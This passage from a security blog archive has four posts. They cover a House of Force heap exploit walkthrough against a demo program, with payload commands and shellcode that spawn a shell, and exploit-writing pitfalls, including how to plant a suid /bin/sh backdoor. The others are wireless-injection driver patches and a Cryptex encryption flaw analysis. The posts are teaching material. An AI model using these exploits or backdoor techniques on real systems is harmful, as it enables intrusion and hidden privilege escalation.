It might seem like a big requirement that we can control the size given to the malloc call. This is not necessarily true. Imagine a (networked) service capable of caching objects. To cache an object first the size of the object is sent to the service, after which the object itself is transmitted. In such a program one can easily control the size given to a malloc call. Anyway, this example is something we can exploit, even when compiled against the latest glibc!<br />
<br />
<span style="font-size: large;"><b>Exploitation Technique: The House of Force</b></span><br />
<br />
Our example program nicely matches the requirements of the <i>House of Force</i> technique. This technique abuses the code responsible for allocating memory from the top chunk. This code is in _int_malloc: <br />
<br />
<script src="https://gist.github.com/vanhoefm/4733332.js"></script><br />
The goal is to overwrite av->top with a user controllable value. The av->top variable always points to the top chunk. During a call to malloc this variable is used to get a reference to the top chunk (in case no other chunks could fulfill the request)<b>.</b> This means that if we control the value of av->top, and we can force a call to malloc which uses the top chunk, we control where the next chunk will be allocated (i.e. we control the return value of malloc in line 15 of the example). Consequently we can write arbitrary bytes to any address using line 16.<br />
<br />
To make sure the appropriate code gets executed the if-test in line 15 must evaluate to true. This test checks whether the top chunk is large enough to contain the requested chunk (and if enough space remains for the metadata in the top chunk). We want to assure that any request (of arbitrary large size) will use the top chunk. To accomplish this we abuse the overflow in line 11 to overwrite the metadata of the top chunk. First we write 256 bytes to fill up the allocated space, then 4 bytes to overwrite prev_size, and we finally overwrite the size with the largest possible (unsigned) integer:<br />
<blockquote class="tr_bq">
LARGETOPCHUNK=$(perl -e 'print "A"x260 . "\xFF\xFF\xFF\xFF"')<br />
./example $LARGETOPCHUNK 1 2
</blockquote>
The above won't actually exploit the program, since more steps are needed. But feel free to use a debugger and confirm that the size of the top chunk is indeed modified. We continue by overwriting the variable av->top. Our goal is to make it point <b>8 bytes before</b> the <a href="http://www.iecc.com/linker/linker10.html">GOT entry</a> of free. The GOT table is where pointers to dynamically loaded functions are stored. So if we're able to overwrite the pointer to free, we can make the program jump to an arbitrary location (and in particular to our shellcode). To find out the address of the got.plt entry execute:<br />
<blockquote class="tr_bq">
readelf --relocs example</blockquote>
In my case free was located at 0804a008, which subtracted by 8 becomes <b>0x804a000</b>. The value being written to av->top is calculated by chunk_at_offset:<br />
<blockquote class="tr_bq">
/* Treat space at ptr + offset as a chunk */<br />
#define chunk_at_offset(p, s) ((mchunkptr)(((char*)(p)) + (s)))</blockquote>
We control the second argument: nb (in the #define called s). By debugging the program I found that victim (the older value for av->top) was <b>0x804b110</b>. Hence the value passed to malloc should be <b>0x804a000 - </b><b>0x804b110 = FFFFEEF0.</b> We now get:<br />
<blockquote class="tr_bq">
LARGETOPCHUNK=$(perl -e 'print "A"x260 . "\xFF\xFF\xFF\xFF"')<br />
./example $LARGETOPCHUNK FFFFEEF0 AAAA</blockquote>
Resulting in a segfault with eip set to 0x41414141 (= the byte encoding of AAAA)! The final step is to point eip to a location under our control. Let's assume ASLR is disabled, so the stack is always at a fixed location. In my case it starts at 0xBFFFFFFF. All that remains is to construct a NOP slide, inject the shellcode, and make eip point towards the NOP slide:<br />
<blockquote class="tr_bq">
LARGETOPCHUNK=$(perl -e 'print "A"x260 . "\xFF\xFF\xFF\xFF"')<br />
NOPS=$(perl -e 'print "\x90"x 0x10000')<br />
SC=$'\x68\x2f\x73\x68\x5a\x68\x2f\x62\x69\x6e\x89\xe7\x31\xc0\x88\x47\x07\x8d\x57\x0c\x89\x02\x8d\x4f\x08\x89\x39\x89\xfb\xb0\x0b\xcd\x80'<br />
STACKADDR=$'\x01\xC0\xFF\xBF'<br />
env -i "A=$NOPS$SC" ./example $LARGETOPCHUNK FFFFEEF0 $STACKADDR</blockquote>
<b>Hell yeah! We are now greeted by a nice sh shell! =)</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYWiifpb1s1NcgmVz1_39t7lEncZuPRWpjUwUpOnf4Oc6x1lR7XOM5MUXJICkuxriK_V87ypeC5Kv0MXT_IfPdjkxekJV5uEN12gzjK6W2kcKd9o9XWnlrGsLBDJhQE5F50Xl9k2wd0K9H/s1600/success_kid-other.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYWiifpb1s1NcgmVz1_39t7lEncZuPRWpjUwUpOnf4Oc6x1lR7XOM5MUXJICkuxriK_V87ypeC5Kv0MXT_IfPdjkxekJV5uEN12gzjK6W2kcKd9o9XWnlrGsLBDJhQE5F50Xl9k2wd0K9H/s400/success_kid-other.jpg" height="265" width="400" /></a></div>
<div style="text-align: center;">
<i>Ahhh, the joy of success!</i></div>
<br />
A few final remarks are in place. First, we used a large NOP slide. This makes it a lot easier to get the stack address (the third argument) correct. Second, the first byte of $STACKADDR starts with 1. This is done to avoid if from containing a NULL byte (which would terminate the string). Finally we placed the NOP slide and shell code into environment variables, and used the <a href="http://www.mathyvanhoef.com/2012/11/common-pitfalls-when-writing-exploits.html">env command</a> to clear all other environment variables (resulting in more predictable behaviour of the exploit).<br />
<br />
Additionally we could've beaten ASLR by a simple brute force, as we are working on a 32 bit platform. In case DEP is enabled our shellcode on the stack would not be executable, and we would have to fall back on <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">Return Oriented Programming (ROP)</a>. This requires controlling the value of esp, which can be done by overwriting the value of a saved frame-pointer (saved ebp value).<br />
<br />
<b><span style="font-size: large;">Conclusion</span></b><br />
<br />
We have successfully exploited the second example program. Additionally it was explained how both DEP and ASLR can be bypassed.<br />
<br />
<span style="font-size: large;"><b>References</b></span><br />
<br />
[1] Justin N. Ferguson, <a href="https://www.blackhat.com/presentations/bh-usa-07/Ferguson/Whitepaper/bh-usa-07-ferguson-WP.pdf">Understanding the heap by breaking it</a>. Blackhat USA, 2007.<br />
[2] J. Koziol, D. Litchfield, D. Aitel, C. Anley, S. Eren, N. Mehta, and R. Hassell. <a href="https://www.google.com/search?btnG=1&pws=0&q=The+Shellcoder%E2%80%99s+Handbook%3A+Discovering+and+Exploiting+Security+Holes">The Shellcoder’s Handbook: Discovering and Exploiting Security Holes</a>. Wiley, 2003.<br />
[3] Doug Lea, <a href="http://gee.cs.oswego.edu/dl/html/malloc.html">Design of dlmalloc: A Memory Allocator</a>. Personal website.<br />
[4] Andries Brouwer, <a href="http://www.win.tue.nl/~aeb/linux/hh/hh-11.html">Hackers Hut: Exploiting the heap</a>.<br />
[5] <span style="white-space: pre-wrap;">Phantasmal Phantasmagoria, </span><span style="white-space: pre-wrap;"><a href="http://packetstormsecurity.com/files/view/40638/MallocMaleficarum.txt">The Malloc Maleficarum</a>. </span><span style="white-space: pre-wrap;">bugtraq mailing list, 2005.</span><br />
[6] <span style="white-space: pre-wrap;">blackngel, </span><span style="white-space: pre-wrap;"><a href="http://www.phrack.org/issues.html?issue=66&id=10&mode=txt">Malloc Des-Maleficarum</a>. </span><span style="white-space: pre-wrap;">Phrack </span><span style="white-space: pre-wrap;">Volume 0x0d, Issue 0x42, 2009.</span><br />
<span style="white-space: pre-wrap;">[7] MaXX, </span><span style="white-space: pre-wrap;"><a href="http://www.phrack.org/issues.html?issue=57&id=8&mode=txt">Vudo malloc tricks</a>. </span><span style="white-space: pre-wrap;">Phrack </span><span style="white-space: pre-wrap;">Volume 0x0b, Issue 0x39, 2001.</span>Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com9tag:blogger.com,1999:blog-3500917063499850097.post-64467132509676736652012-11-05T23:08:00.000+01:002012-11-11T23:40:49.692+01:00Common Pitfalls When Writing Exploits<div>
When you're exploiting software (legally hopefully ;) there are some common problems you might encounter. In this post I'm going to focus on three specific problems. I'll assume you're already familiar with basic buffer overflows and have tried to write one before. Oh and even if you were successful in writing the exploit, maybe you encountered some annoyances that are addressed in this posts. Let's go!</div>
<div>
<br /></div>
<div>
<b><span style="font-size: large;">My exploit only works under gdb?</span></b></div>
<div>
<br />
A common question people ask is why their exploit works when running the target program in gdb, but why no longer works when the program is started normally. There's actually another variation of this question: people wonder why they didn't obtain elevated privileges when executing the exploit under gdb. I'll first explain the elevated privileges problem and then we'll address the original problem.<br />
<b><br /></b>
<b>No elevated privileges</b><br />
<div>
<br />
When you are exploiting a <a href="https://en.wikipedia.org/wiki/Setuid">suid program</a> (e.g., for local privilege escalation) your exploit may work under gdb, yet you don't obtain any new privileges. First and for all, a "suid program" is a program that a normal user can execute, but runs under root privileges (to be precise it runs as the user that owns the program). Such programs are marked with an "s" suid bit. For example, the passwd utility is a suid program:<br />
<blockquote class="tr_bq">
root@bt:~# ls -l /usr/bin/passwd<br />
-rw<b style="background-color: orange;">s</b>r-xr-x 1 root root 37140 2011-02-14 17:11 /usr/bin/passwd</blockquote>
This makes perfect sense, as passwd has to be able to update /etc/passwd and /etc/shadow and this requires root privileges. As a side note this means that if we can exploit passwd we can elevate our privileges to those of root. To get back to our original problem: if we exploit a suid program under gdb we don't obtain elevated privileges. What's happening? Before we answer this question, one should first realize that this is actually wanted behavior! Otherwise we could simply open the suid binary in gdb and overwrite the current code using</div>
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">set *(unsigned int)(address) = value</span></blockquote>
This way one could directly inject shellcode without exploiting anything. So being able to debug a suid binary as a less privileged user shouldn't be possible. Yet you <i>seem</i> to be debugging the suid binary anyway?! Well,<b> when launching the targeted suid program using gdb no elevated privileges will be granted to the program</b>. You can then debug the program, though exploiting it won't result in elevated privileges (since it was not given elevated privileges).<br />
<b><br /></b>
<b>Different stack addresses</b></div>
</div>
<div>
<br /></div>
<div>
Another problem is that the stack addresses of variables, fields, pointers, etc. will change when the targeted program is debugged using gdb. Let's use the following program to investigate these stack differences:<br />
<br />
<script src="https://gist.github.com/4004504.js?file=stack.c"></script><br />
When directly executing the program I got the values "env=0xbfffddbc arg=0xbfffddb4 esp=0xbfffdcfc" but when running it under gdb I got "env=0xbfffdd8c arg=0xbfffdd84 esp=0xbfffdccc". We notice that all the addresses have changed! Why did this happen? Well there's a reason the program also prints the environment variables :) Looking at the output we can see that our program was given different environment variables under gdb. These <b>environment variables are saved on the stack</b>. And if different environment variables are given the space required to save them will also be different. Because of these different space requirements, the stack addresses of variables saved on the stack will change. Looking at the <a href="http://www.win.tue.nl/~aeb/linux/hh/stack-layout.html">stack layout</a> in the simplified illustration below we see that this influence <b>nearly all</b> stack addresses under in a program:<br />
<br />
<div style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;">lower addresses</span></div>
<div style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;">esp</span></div>
<div style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;">[argv]</span></div>
<div style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;">[envp]</span></div>
<div style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;">higher addresses</span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Remember that the stack grows towards lower addresses (in the illustration above it grows upwards).</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
One way to solve this is using the command "env -i ./program". This runs the program using an empty environment. However, when launching gdb using "env -i gdb ./program" and running the program, we notice that gdb still added some environment variables. <i>Damn you gdb!</i> One possible way to deal with this is to include these variables when directly executing the program using something like</div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">env -i COLUMNS=97 PWD=/root LINES=29 SHLVL=0 /root/a.out</span></blockquote>
<div style="text-align: left;">
Note that gdb uses the full path to start the program, and that this path is given to the program in argv[0]. So we must also use the full path when directly running the program (since the arguments are also saved on the stack). Although the addresses are now the same, this is annoying to do manually all the time. Our approach also breaks a few bash-specific tricks because the SHELL variable is cleared (can be fixed by setting SHELL=/bin/bash). <b>An easier solution is to use <a href="https://github.com/hellman/fixenv">this script written by hellman</a></b>. Directly running the program or debugging now becomes:</div>
<blockquote class="tr_bq">
<b>./r.sh ./a.out</b><br />
<b>./r.sh gdb ./a.out</b></blockquote>
<div style="text-align: left;">
Both runs will have the same stack addresses. Perfect!<br />
<br />
<b><span style="font-size: large;">Padding in structures, stack, etc.</span></b><br />
<br />
This is really more of a remark. When given the source code of a program you know the general layout of structures and function stacks. However, you cannot predict actual offsets (i.e., the precise location of fields). The reason is that most <a href="https://en.wikipedia.org/wiki/Data_structure_alignment">compiles will add padding</a>. This is done so that fields are 2-byte or 4-byte aligned (or anything else that your compiler deems appropriate). The introduced padding can be seemingly random. So while you can use the source code to quickly detect vulnerabilities, you should still disassemble the compiled binary to calculate the offsets.<br />
<br />
A common question is then "why does my debugger add X amount of padding bytes?" A frequent answer would be for performance, which is hardware/processor dependent. The answer can change for different versions of the compiler as well. <b>There's just no general answer here.</b> Also, another thing the compiler can do is change the order of variables on the stack, say placing a function pointer <i>before</i> a buffer even though it's not declared like that in the source code. (This way overflowing the buffer won't affect the function pointer, and used in combination with stack canaries this is <a href="http://sciencelinks.jp/j-east/article/200122/000020012201A0801380.php">used to decrease the potential impact</a> of buffer overflows.)<br />
<br />
<span style="font-size: large;"><b>Placing a Suid Script or Suid Shell </b><b>as Backdoor</b></span><br />
<br />
Alright. Say you've successfully exploited a vulnerability. Then it can be convenient to create a backdoor to easily obtain elevated privileges at a later point in time. Two seemingly easy strategies would be to either create a suid script or copy the /bin/sh executable and making it suid. Unfortunately the first strategy is not possible on Linux, and the second strategy needs some special attention. The first strategy fails because even if the script file is marked with suid, the <b>kernel doesn't grant elevated privileges when starting scripts</b>. Let's confirm this behavior <i>in detail</i> by inspecting the linux kernel. Essentially we need to learn how the kernel starts script files. Remember that scripts are treated as real executables and can be started using something like<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;"><a href="http://linux.die.net/man/2/execve">execve</a>("/myscripts/somescript.sh", argv, envp);</span></blockquote>
where we assume somescript.sh starts with "#!" as usual.<br />
<br />
So let's assume that a script is being started using the execve system call. This function is implemented in the <a href="https://git.kernel.org/?p=linux/kernel/git/torvalds/linux.git;a=blob;f=fs/exec.c;hb=HEAD">do_execve_common function</a> in the linux kernel. Essentially it checks for errors, fills in a so-called binary structure parameter, and then calls search_binary_handler [1]. The real work is being done in this last function, which consists of scanning a list of registered binary formats until a match is found, and then calling that handler. Scripts are detected by checking if the file starts with "#!". The handler for scripts is located in <a href="https://git.kernel.org/?p=linux/kernel/git/torvalds/linux.git;a=blob_plain;f=fs/binfmt_script.c;hb=HEAD">binfmt_script.c</a> in the function load_script. In this handler you don't explicitly see something like "don't grant suid to script files". In fact you see no mention of the suid bit at all. But that's the point, suid is never granted in the script handler. On the other hand, if we look at the handler for ELF linux executable, we notice that suid is explicitly set using SET_UID and SET_GUID. [2] The reasons scripts are not run as suid is because it's too easy to write <a href="http://www.vidarholen.net/contents/blog/?p=30" style="white-space: pre-wrap;">insecure suid scripts</a><span style="white-space: pre-wrap;">.</span></div>
</div>
<br />
Now to address the second problem. First, on my machine /bin/sh is a symlink to /bin/bash, so the remaining discussion will be specific to bash. Anyway, as mentioned copying <span style="font-family: Courier New, Courier, monospace;">/bin/sh</span> to something like <span style="font-family: Courier New, Courier, monospace;">hiddenshell</span> and making it suid can be problematic: You'll notice that starting your copy called <span style="font-family: Courier New, Courier, monospace;">hiddenshell</span> won't grant you a suid shell. This is because bash automatically drops its privileges when it's being run as suid (another security mechanism to prevent executing scripts as suid). Looking at the source code of bash confirms this:<br />
<br />
<script src="https://gist.github.com/4019750.js?file=shell.c"></script><br />
We see one interesting global variable in the if test: <span style="font-family: Courier New, Courier, monospace;">privileged_mode</span>. Looking further into the code one learns that this flag is set when the "-p" parameter is given. So <b>starting your suid shell using the "-p" parameter won't drop privileges</b>! That solves our problem. To create a backdoor we copy /bin/sh and make it suid. The backdoor shell must then be started with the "-p" parameter.<br />
<br />
But even though we solved the original problem, a new question arose. That new question is: Why does calling "<a href="http://linux.die.net/man/3/system">system</a>(command)" work in a suid binary. That is, when a normal suid binary calls the <a href="http://linux.die.net/man/3/system">system</a> function, that supplied command is also executed as being a suid program. Remember that <a href="http://linux.die.net/man/3/system">system</a>(command) will fork the process and then use execve to run "/bin/sh -c command". If bash always drops privileges, the command shouldn't be executed as suid! Let's first look at the code of the system() function in the glibc library:<br />
<br />
<script src="https://gist.github.com/4019708.js?file=sysdeps\posix\system.c"></script><br />
What's different from our situation? It may seem pretty silly, but the difference is the name of the executable. Yes, try renaming <span style="font-family: Courier New, Courier, monospace;">hiddenshell</span> to <span style="font-family: Courier New, Courier, monospace;">sh</span> and then execute it again. Now you will get a suid shell even without supplying the "-p" parameter. Apparently <b>my bash installation doesn't drop privileges when it's started using the "sh" command</b>, probably to preserve backwards compatibility. Interestingly this is not behavior defined in the original source code of bash. No, it's a patch added by several linux distributions. See for example the <a href="http://changelogs.ubuntu.com/changelogs/pool/main/b/bash/bash_4.2-0ubuntu4/changelog">changelog of bash for ubuntu</a> (search for "drop suid"). It's implemented by updating the if test to:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">if (running_setuid && privileged_mode == 0 && act_like_sh == 0)</span><br />
<span style="font-family: Courier New, Courier, monospace;"> disable_priv_mode ();</span></blockquote>
There, that concludes our very detailed discussion of suid scripts and suid shells!<br />
<br />
<br />
[1] <a href="http://www.linux.it/~rubini/docs/binfmt/binfmt.html">Playing with binary formats</a>, marzo, 1998<br />
[2] I'm actually not happy with this explanation at all. Unfortunately I don't understand the linux kernel well enough to give a really decent explanation. If you know more about this please comment!Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com2tag:blogger.com,1999:blog-3500917063499850097.post-49465043830373425602012-09-30T14:32:00.001+02:002013-06-26T21:53:53.064+02:00Compat-Wireless Injection Patch for Aircrack-ng<span class="Apple-style-span" style="font-size: large;"><b>Update: Compat-Drivers Patch</b></span><br />
<br />
<b>28 may 2013</b>: My previous patch for compat-drivers was incomplete. The new patch for compat-drivers works for both the <a href="https://www.kernel.org/pub/linux/kernel/projects/backports/stable/">3.8 and 3.9 versions</a>. It will make monitor mode, injecting, changes channels, and fragmentation working properly. Before continuing make sure you have the linux header installed. If not, execute:<br />
<blockquote class="tr_bq">
apt-get install linux-headers-$(uname -r)</blockquote>
Once the headers are installed, the following commands will download the latest compat-drivers version and apply the updated patch:<br />
<br />
<script src="https://gist.github.com/vanhoefm/5072579.js"></script><br />
<span style="font-size: large;"><b>Quickstart: Compat-Wireless Patch</b></span><br />
<i><br /></i>
To get monitor mode, injecting, changing channels, and fragmentation properly working I recommend downloading the latest stable <a href="http://wireless.kernel.org/en/users/Download/stable/#compat-wireless_3.6_stable_releases">compat-wireless 3.6 package</a> and <a href="http://pastie.textmate.org/pastes/4882675">applying my patch</a>. This can all be accomplished by executing these commands and then rebooting:<br />
<br />
<script src="https://gist.github.com/10eac3a2c6cba6703e4a.js">
</script>
The issue where you aren't able to change channels should be fixed for all drivers, and the ability to inject QoS headers is also fixed for all drivers. An issue specific to the RTL8187 driver used by AWUS036H and AWUS036NH that prevents a successful fragmentation attack is also fixed by my patch.<br />
<br />
<b><span style="font-size: large;">Background Behind the Patch</span></b><br />
<br />
Normally when working with the aircrack-ng tool suite or other wireless network tools under linux, <a href="http://www.aircrack-ng.org/~~V/doku.php?id=compat-wireless">it's recommended</a> you use the latest compat-wireless package to get access to the latest drivers. Generally the thought is: <i>the newer the drivers, the better they work</i>. Unfortunately this isn't always true.<br />
<br />
First it's good to have a basic understanding of what compat-wireless and compat-drivers offers. Essentially you can think of compat-wireless (in fact, you should) as a sized-down version of the kernel tree, one that contains only the sources of the wireless drivers and the wireless stack. Therefore, you can apply any wireless-related patches to it and recompile them without having to recompile the whole kernel [<a href="http://www.aircrack-ng.org/doku.php?id=compat-wireless">quoted aircrack-ng do</a>cs]. So really it's a <i>backport</i> of the latest drivers so they can be used in older kernels. To make your life more difficult [1] the compat-wireless project has recently been renamed to compat-drivers, and now again seems to be renamed to "<a href="http://drvbp1.linux-foundation.org/~mcgrof/rel-html/backports/">backports</a>".<br />
<br />
My own problems started when I was working on a few <a href="http://people.cs.kuleuven.be/~mathy.vanhoef/papers/wpatkip.pdf">vulnerabilities I found in WPA-TKIP</a> (I found a few bugs that prevented from packets being injected properly). To fix these I first looked at some of the existing patches available from the <a href="http://patches.aircrack-ng.org/">aircrack-ng directory</a>. But no luck there, and nothing posted on the forum helped either. After messing around I managed to patch the driver myself. But what wasn't working? Well there were three main bugs I encountered:<br />
<ol>
<li>Unable to change the channel of the monitor interface with the error message "SET failed on device mon0 ; Device or resource busy.".</li>
<li>When injecting packets the Quality of Service (QoS) header was being overwritten by the driver.</li>
<li><a href="http://www.aircrack-ng.org/doku.php?id=fragmentation">Injecting fragments</a> was not working properly. Only the first fragment was being transmitted.</li>
</ol>
I played around with various configurations and version to see if some of them didn't have these problems. Unfortunately with everything I had problems. In particular I tried the following three things:<br />
<ul>
<li>Backtrack 5 R3: Changing channels worked, but the Quality of Service (QoS) header was overwritten, and when using fragmentation only the first fragment was transmitted.</li>
<li><a href="http://wireless.kernel.org/en/users/Download/stable/#compat-wireless_3.6_stable_releases">Compat-wireless 3.6 stable</a>: All three problems were present (can't change channel, QoS overwritten, fragmentation not working).</li>
<li><a href="https://www.kernel.org/pub/linux/kernel/projects/backports/">Latest snapshot of compat-drivers</a>: All three problems were present.</li>
</ul>
At one point I also tried using Backtrack 4 with an older release of compat-wireless. But that one also had bugs. <i>Bugs, fucking bugs everywhere</i>. I gave up finding a decent configuration and decided to patch the drivers myself.<br />
<br />
<span style="font-size: large;"><b>Changing Channel</b></span><br />
<br />
I fixed this bug by commenting out two lines in the function cfg80211_set_monitor_channel of ./net/wireless/chan.c file:<br />
<blockquote class="tr_bq">
//if (!cfg80211_has_monitors_only(rdev))<br />
// return -EBUSY;</blockquote>
It appears we couldn't change the channel when "normal" virtual interfaces are also using the device. Looking at the <a href="https://git.kernel.org/?p=linux/kernel/git/next/linux-next.git;a=history;f=net/wireless/chan.c;h=2f876b9ee3443b05efc54445b747e7ee7101e50d;hb=HEAD">commit history</a> I found <a href="https://git.kernel.org/?p=linux/kernel/git/next/linux-next.git;a=commitdiff;h=4f03c1ed8901a01ad4abcef95c02c007a2d481c2">the specific commit mentioning this</a>: "having .set_monitor_channel work with non-monitor interfaces running would make interface combinations accounting ambiguous". So the new drivers prevent you from changing the channel if the device is also being used "normally". Practically this means that (if you don't apply my patch) you need to disable them by <b>executing "ifconfig wlanX down" until you only have monitor interfaces over</b>.<br />
<br />
However disabling them all the time is annoying, and not many people know this! That's why I decided to remove this check in my patch. Most of the time if you're playing with monitor mode you're not using the device in a normal mode anyway, so this shouldn't be a problem. For the compat-drivers the file ./net/mac80211/cfg.c in function ieee80211_set_monitor_channel also needs to be changed:<br />
<blockquote class="tr_bq">
} else /*if (local->open_count == local->monitors)*/ {</blockquote>
This again disables the check that only monitor interfaces are allowed to be present. I also found a post on the <a href="http://www.aircrack-ng.org/doku.php?id=compat-wireless">aircrack-ng wiki explaining how to install the latest compat-wireless and compat-drivers packages</a>. That post discusses an <i>older</i> problem and its solution. So if you tried that one and it failed, try my patch again.<br />
<br />
<span style="font-size: large;"><b>Sending Raw QoS Header</b></span><br />
<br />
The QoS header is modified in the function ieee80211_set_qos_hdr of <a href="http://./net/mac80211/wme.c">./net/mac80211/wme.c</a> and is called from ieee80211_xmit in <a href="http://./net/mac80211/tx.c">./net/mac80211/tx.c</a>. We simply have to prevent this call from happening in monitor mode.<br />
<blockquote class="tr_bq">
// Don't overwrite QoS header in monitor mode<br />
if (likely(info->control.vif->type != NL80211_IFTYPE_MONITOR)) {<br />
ieee80211_set_qos_hdr(sdata, skb);<br />
}</blockquote>
<i>This kills the bug</i>. As a side node the "likely" macro is used for <a href="http://kernelnewbies.org/FAQ/LikelyUnlikely">branch optimization</a> by the compiler.<br />
<br />
<span style="font-size: large;"><b>Patching Fragmentation</b></span><br />
<br />
This one turned out to be specific to some devices. My patch is for the AWUS036H and AWUS036NH using the RTL8187 driver. The problem is that it will only transmit the first fragment. I did a simple test to further isolate the issue by instructing to driver to send the following frames (from a userland program):<br />
<ol>
<li>Send the first fragment</li>
<li>Send an ARP request packet</li>
<li>Send the second fragment, which is the last one</li>
</ol>
<div>
It turned out the device actually transmits the ARP request packet first, and only then sends the first fragment! So the hypothesis was that it's first waiting for ALL the fragments before it begins sending them. Furthermore it would only send the next fragment once the previous one has been acknowledged (which isn't detected in monitor mode, hence only the first fragment is transmitted).</div>
<div>
</div>
<br />
Luckily this can easily be fixed by removing the RTL818X_TX_DESC_FLAG_MOREFRAG flag that is being passed to the device (firmware). It will then immediately transmit the fragment. So the patch is at <a href="http://./drivers/net/wireless/rtl818x/rtl8187.dev.c">./drivers/net/wireless/rtl818x/rtl8187/dev.c</a> in the function rtl8187_tx:<br />
<blockquote class="tr_bq">
// When this flag is set the firmware waits until ALL fragments have<br />
// reached the USB device. Then it sends the first fragments and waits<br />
// for ACK's. Of course in monitor mode it won't receive these ACK's.<br />
if (ieee80211_has_morefrags(tx_hdr->frame_control))<br />
{<br />
// If info->control.vif is NULL it's mostly likely in monitor mode<br />
if (info->control.vif != NULL && info->control.vif->type != NL80211_IFTYPE_MONITOR) {<br />
flags |= RTL818X_TX_DESC_FLAG_MOREFRAG;<br />
}<br />
}</blockquote>
And hurray, that fixed the last bug =)<br />
<br />
<br />
[1] It's annoying because most tutorials will reference older compat-wireless releases. Also finding the proper links on the new compat-drivers website is annoying.Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com30tag:blogger.com,1999:blog-3500917063499850097.post-47351984269209286502012-08-20T17:47:00.001+02:002012-08-20T18:03:33.753+02:00Secrets of Reverse Engineering: Flaws in CryptexThe book <a href="http://www.amazon.com/Reversing-Secrets-Engineering-Eldad-Eilam/dp/0764574817">Reversing: Secrets of Reverse Engineering</a> has an interesting exercise. In the chapter on <i>Deciphering File Formats</i> the author created a command-line file encryption tool. It's called <a href="http://www.wiley.com/go/eeilam">Cryptex</a> and allows you to encrypt one or more files. Although it's a relatively simple tool it was claimed that:<br />
<blockquote class="tr_bq">
<i>"If you use long and unpredictable passwords such as j8&1`#:#mAkQ)d* and keep those passwords safe, Cryptex would actually provide a fairly high level of security."</i> -- page 200</blockquote>
It's unsure what the author meant with "fairly high level of security". But when ignoring brute force attacks it's either secure or it's not. And in this case Cryptex is <i>not</i> secure. To be fair it wasn't the point of the author to make a truly secure implementation. The point was to have an interesting file format to analyze. But funny enough Cryptex does precisely what the author warned about:<br />
<blockquote class="tr_bq">
<i>"Perhaps (and this is more common than you would think) the program you are auditing incorrectly uses a strong industry-standard encryption algorithm in a way that compromises the security of the encrypted files."</i> -- page 202</blockquote>
Indeed more common than you would think.<br />
<br />
Let's first give a simplified overview on how Cryptex stores the encrypted files. All files are combined and saved in a single .crx file. The content of the file always starts with "CrYpTeX9" which acts as a signature to verify it's a file created by Cryptex. The remaining content of the .crx archive is divided into <i>sectors</i>. Each sector is 4096 bytes long. The first sector following the "CrYpTeX9" signature contains a list of all the encrypted files in the archive and their location in the .crx file. Finally the .crx archive contains all the encrypted files. Each file starts in a new sector and large files are spread out over multiple sectors.<br />
<br />
The problem lies in how Cryptex encrypts its archive. It first derives a key from the password using a <a href="https://en.wikipedia.org/wiki/SHA-1">SHA1</a> hash and passes it to the <a href="https://en.wikipedia.org/wiki/Triple_DES">Triple DES</a> block cipher. So far so good. But then each sector is encrypted <i>independently</i> <i>with the same key</i>. Cryptex does this by resetting the state of the Triple DES cipher after encrypting a sector. Among other things this means that if certain sectors repeat we will also notice this repetition in the encrypted archive.<br />
<br />
Also troublesome is when a small modification is made to a file which is then encrypted to a new Cryptex archive. To see this I created a file called short1.txt with as content only asterisks:<br />
<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">**************************************************<br />**************************************************<br />**************************************************<br />**************************************************<br />**************************************************<br />**************************************************<br />**************************************************<br />**************************************************<br />**************************************************</span></blockquote>
<br />
And another file called short2.txt with only one modification:<br />
<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">**************************************************<br />**************************************************<br />**************************************************<br />**************************************************<br />**************************************************<br />**************************************************<br />**************************************************<br />*******<b><span style="color: red;">0</span></b>******************************************<br />**************************************************</span></blockquote>
<br />
Encrypting short1.txt to short1.ctx and short2.txt to short2.txt gives the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisjrZytIZwpwInilHi2PjPSwgyLjdrS80_30flot1t1pe_GfYb86O0zH9N6Cx8OauznjpcS04Tl_SZnHpCSuM-_d_mQdL9mZh1EakQBbXeAeND3Re9Pu8X-3a9HvWoaJtnb6PyY8gBas5t/s1600/cryptex.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="295" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisjrZytIZwpwInilHi2PjPSwgyLjdrS80_30flot1t1pe_GfYb86O0zH9N6Cx8OauznjpcS04Tl_SZnHpCSuM-_d_mQdL9mZh1EakQBbXeAeND3Re9Pu8X-3a9HvWoaJtnb6PyY8gBas5t/s400/cryptex.png" width="400" /></a></div>
<br />
We can see that both encrypted archives contain identical parts! The identical parts start at the beginning of the sector where files are saved. This allows someone to see where a file has been modified without knowing the password of the archive. Clearly the encrypted archive leaks information.<br />
<br />
In the screenshot above we can see that the first 23 * 16 = 368 bytes are identical and the first difference is at 369 bytes from the start of the sector. For our text files each line is saved in 52 bytes (50 characters plus two bytes for the newline and carriage return). This means that the first different character is actually at position 7 * 52 + 7 = 371. Why don't these two positions match? The answer isn't too difficult: it's because 3DES is a block cipher and always encrypts blocks of 8 bytes at once. And the block containing the modified character starts at byte 369.<br />
<br />
